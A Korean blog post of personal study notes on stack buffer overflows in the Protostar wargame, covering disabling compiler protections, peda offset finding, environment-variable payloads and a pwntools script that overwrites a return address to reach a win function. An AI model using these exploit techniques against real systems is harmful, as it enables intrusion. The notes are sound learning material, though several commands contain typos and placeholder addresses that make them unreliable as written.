카테고리

asm (27) bootloader_x86_grub (1) C (92) compile (11) config (76) CPP (13) CSS (1) debugging (7) gimp (1) Go (1) html (1) Java (1) JavaScript (1) kernel (19) LibreOffice (3) Linux system progamming (21) MFC (1) opencv (4) OpenGL (1) PHP (1) Python (4) qemu (29) shell (3) socket (7) troubleshooting (2) ubuntu18.04 (2) windows (1)

2018/12/31

스택 오버플로우 테스트

라이브 오버플로우 프로토스타
http://liveoverflow.com/binary_hacking/protostar/

vmware player 다운로드
https://www.vmware.com/kr/products/workstation-player/workstation-player-evaluation.html

프로토 스타 제공하는 우분투 기반의 iso 파일.
- 라이브 cd 이미지
-- 가상머신 생성
-- 우분투 32bit
root/godmode

kali linux dawnload
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
root/toor

gcc 스택오버플러우 허용 옵션
gcc -z execstack -no-pie -w -o

execstack : 기본 옵션처리에서 스택의 접근 권한을 할 수 업게한다. 이 옵션을 사용하면 스택에 접근 권한을 부여한다.

-no-pie : 기타 자료형이 메모리에 올라갈때 무작위 메모리 맵과 맵핑이 이루어진다. 이 옵션을 주면 무작위 맵핑 처리를 하지 말라는 의미.

파이썬으로 문자열 생성
shell> python -c "printf('a'*80)"

rsi -> source index 출발지
rdi -> destination index 목적지

peda 다운로드 사이트
https://github.com/longld/peda

설치
git clone https://github.com/longld/peda.git peda
echo "source peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

참고:
./surface4/4.14/linux-surface-master/kernel/Documentation/frv/gdbinit
./Qt5.7.1/5.7/Src/qtwebengine/src/3rdparty/chromium/v8/tools/gdbinit

리눅스 환경변수 설정
export GREENIE='AAAAA'

peda에서 패턴 만들기
pattern create 100

b *main+89

peda에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x41413341
1094792001 found at offset: 68

Exploit 코드
export GREENIE=$(python -c 'print "A"*68 + "\x0a\x0d"*4')

pwntools 사용방법
https://github.com/Gallopsled/pwntools-tutorial/blob/master/tubes.md

자동 접속 후 CLI 제어
python 2.7 버전에서 동작

설치
shell> sudo apt-get install python-dev
shell> sudo python2 -m pip install pwn

telnet 설치
shell> sudo apt-get install xinetd telentd
shell> sudo vi/etc/xintd.d/telnet
# default: off
service telnet
{
 disable = no
 flags = REUSE
 socket_type = stream
 wait = no
 user = root
 server = /usr/sbin/in.telnetd
 log_on_failure += USERID
}   

shell> /etc/init.d/xinetd restart 또는 service xinetd restart

테스트 사용자 생성
shell> useradd user1
shell> passwd user1

사용자 테스트
shell> telnet 127.0.0.1
login: user1
Password:

$> 셜 프롬프트

자동 스크립트 작성
shell> vi login.py
import pwn

/*
pwn.process() // 내부 접속
pwn.ssh() // 보안 접속
pwn.connect() // 외부 접속
*/

p = pwn.process(['telnet', '127.0.0.1']) // 인자 전달, 리스트 형식으로 전달

print p.recvuntil('login: ')
p.sendline('user1')

print p.recvuntil('Passwor: ')
p.sendline('1234') // 패스워드

print p.recvuntil('$')
p.sendline('echo 1234')
print p.recvline()

print "recv test"
print p.recvline()
print p.recvline()
print p.recvline()
print p.recvline()
:wq

패턴 생성
gdb-peda) pattern create 80
패턴 간격 확인
gdb-peda) pattern offset 패턴문구

환경변수 생성(cpu 빅엔디안, 리틀엔디안)
export TESTAAA=$(python -c 'print "A"*68 + "\x0d0a"*4)

win 함수 주소
win_addr = 0x~~~400577

페다에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72

파이썬 코드
from pwn import *

p = process('./stack3')
win_addr = p64(0x~~~400577)
payload = 'A'*72 + win_addr

p.sendline(payload)
print p.recvrepeat(1)

댓글 없음:

댓글 쓰기